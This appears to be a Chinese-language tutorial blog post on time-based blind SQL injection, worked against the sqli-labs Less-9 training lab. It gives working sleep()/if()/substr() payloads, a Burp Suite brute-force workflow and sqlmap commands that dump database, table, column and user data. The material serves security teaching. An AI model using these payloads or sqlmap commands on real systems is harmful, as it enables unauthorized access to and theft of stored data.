SQL时间注入是一种常见的SQL注入攻击方式,攻击者通过在SQL语句中注入时间相关的代码,来获取敏感信息或者执行非法操作。其基本原理如下:
-
攻击者向Web应用程序中输入一段恶意代码,通过SQL语句查询数据库,并注入时间相关的代码。
-
时间相关的代码可以包括sleep()函数、benchmark()函数等,这些函数会导致SQL语句执行时间的延迟或者变化。
-
攻击者可以根据SQL语句的执行时间,来推断出数据库中存储的信息,如用户名、密码等,从而获取敏感信息或者执行非法操作。
-
通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,获取敏感信息或者执行非法操作。
首先我们介绍手动测试,以便大家熟悉原理。
payload主要基于三个函数:sleep()、substr()、if()
以sqllabs-less-9为靶场测试
由于这里无论输入什么都是回显一个内容,因此我们尝试时间盲注
简单使用sleep函数测试,找到闭合点是单引号
?id=1' and sleep(5)--+
可以观察到明显的延时现象后才出现回显内容
我们也可以通过查看请求耗时
6.09s,和我们设置的sleep 5s 差不多,说明sleep语句被执行了,存在时间盲注
那么我们接下来需要先判断当前数据库的长度,使用length函数
?id=1' and if(length(database())=8,sleep(10),0) --+
如果当前数据库的长度为8,则会延时10s
依旧出现了明显的延时现象
基于这样的一个延时原理,接下来我们使用burpsuite进行爆破
假设我们不知道数据库长度是8,我们先爆破数据库长度
爆破payload:
?id=1' and if(length(database())=1,sleep(3),0) --+
为了爆破时间短一点,我们可以将sleep的时间设置短一点
(但是有时候这个sleep时间也会影响到判断的准确性)
设置爆破位置,选用攻击类型(狙击手,单个参数爆破)
设置爆破字典
如果直接看结果是看不出来的,因为都是回显正常
我们需要基于响应耗时来筛选
按照这个排序
可以看到,正常的响应大约是1s
长度为8时,耗时3999ms,大约4s,即加上了sleep延时的3s
判断出有效载荷为8是执行了sleep函数,因此数据库长度为8
接下来爆数据库名
这里还是需要使用 substr() 函数,该函数和我们在布尔盲注中讲的substring函数类似。
两者都是截取字符串,不同点在于第二个参数
substr(startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串);
substring(startIndex, endIndex): 第二个参数是截取字符串最终的下标 (截取2个位置之间的字符串,‘含头不含尾’)。
若只写一个参数两者完全一样,都是截取从当前下标以后直到字符串最后的字符串片段。
爆破payload:
?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+
同样选择攻击模式(集束炸弹,不明白的请参考我之前布尔盲注爆破的讲解)
以及设置爆破位置,这里需要爆破的参数有两个
第一个参数的字典显然是1到8(因为数据库长度为8)
第二个参数的字典这里以所有小写字母为例(实际情况应该更复杂)
同样,按照默认排序看不出任何东西,我们需要先筛选出执行了sleep函数的payload
再将其按照payload1从1到8的顺序排列
得到当前数据库名为:security
接下来我们爆破该数据库下的表名
(我们可以先爆破表名的长度再爆破具体内容,但是其实也可以直接爆破内容)
尽管长度我们不确定,但是我们的字典长度稍微设置大一点即可确保爆破出的内容完整。
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+
设置攻击类型,爆破参数位置
设置字典
筛选攻击结果
整理得到第一张表名为:emails
如果你不确定长度是否正确,可以将'6'带入语句进行验证,若出现延时则表明长度正确。
那么我们通过调整limit的参数即可获取到其他的表名,有时候也可以使用group_concat函数。
至于爆破列名以及具体字段内容也是一个道理,这里就不再过多演示,给出一些payload:
爆破security数据库下emails表下的列名
(可以设置三个参数,增设limit的爆破参数以获取所有列名,具体参考我布尔盲注那篇文章)
?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+
爆破具体字段
?id=1' and if(substring((select email_id from security.emails limit 0,1),1,1)='a',sleep(3),0)--+
或者用
?id=1' and if(substring((select group_concat(email_id)from security.emails),1,1)='a',sleep(3),0)--+
最后给出的payload我并未进行实际测试,各位自行测试,若有问题可以评论反馈。
那么最后我们再讲一下使用sqlmap实现全自动的时间盲注
先进行基本检测:
sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T
参数说明:
-u 指定检测的 url
-p 指定检测的参数
-v 显示调试模式
--technique=T 检测方法为时间注入
经sqlmap 检测为时间注入,通过这个注入我们可以获取相关数据库信息。
获取用户和数据库名:
sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --current-user --current-db --batch
参数说明:
--current-user 获取用户
--current-db 获取当前库
--batch 使用默认模式,自动 y
时间比较久,但是准确性是相当可靠的。
这么说吧:一般sqlmap能跑出来的基本上都没啥问题,这种是不存在什么绕过和过滤的,一般存在过和过滤的,sqlmap基本上都跑不出来,需要手工注入。
得到时间盲注结果:
current user: 'root@localhost'
current database: 'security'
接下来我们获取表名
sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --tables -D security --batch
参数说明:
-D 指定数据库
--tables 获取表
sqlmap注入结果:
获取security数据库下所有的表为
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
与本地对比,结果正确
接下来我们获取列名:
这里以users表为例
sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --columns -T users -D security --batch
参数说明:
-T 指定表
--columns 获取列名(字段名)
我这里就不等了,最终你可以爆出所有的列。
最后我们获取字段具体内容:
为了节约时间,我这里只演示查id和username
sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --dump -C "id,username" -T users -D security --batch
参数说明:
--dump 导出数据
-C 指定查询的字段
由于结果有很多,这里我也不等了,各位可以自行验证。
与本地对照,结果一致。
以上就是关于SQL注入的时间盲注,包括手工注入、burpsuite爆破与使用sqlmap自动化注入。
创作不易,期待大家的支持与关注!